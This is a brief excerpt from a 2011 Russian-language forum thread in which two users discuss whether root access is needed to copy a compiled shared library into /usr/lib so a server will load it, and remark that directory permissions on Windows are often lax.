Не совсем так ) Собранную *.so нужно скопировать в /usr/lib, иначе сервер ее не подгрузит, а это может только root.
ont вне форума   Ответить с цитированием
Старый 27.10.2011, 21:05   #6
lefty
 
Аватар для lefty
 
Регистрация: 01.09.2011
Сообщений: 50
Репутация: 13
По умолчанию

Цитата:
Не совсем так ) Собранную *.so нужно скопировать в /usr/lib, иначе сервер ее не подгрузит, а это может только root.
бывает что права выставлены "как надо" и рут не нужен. а на win* машинах в большинстве случаев с правами доступа к нужным каталогам фс вообще нет проблем - пиши куда хочу.
lefty вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot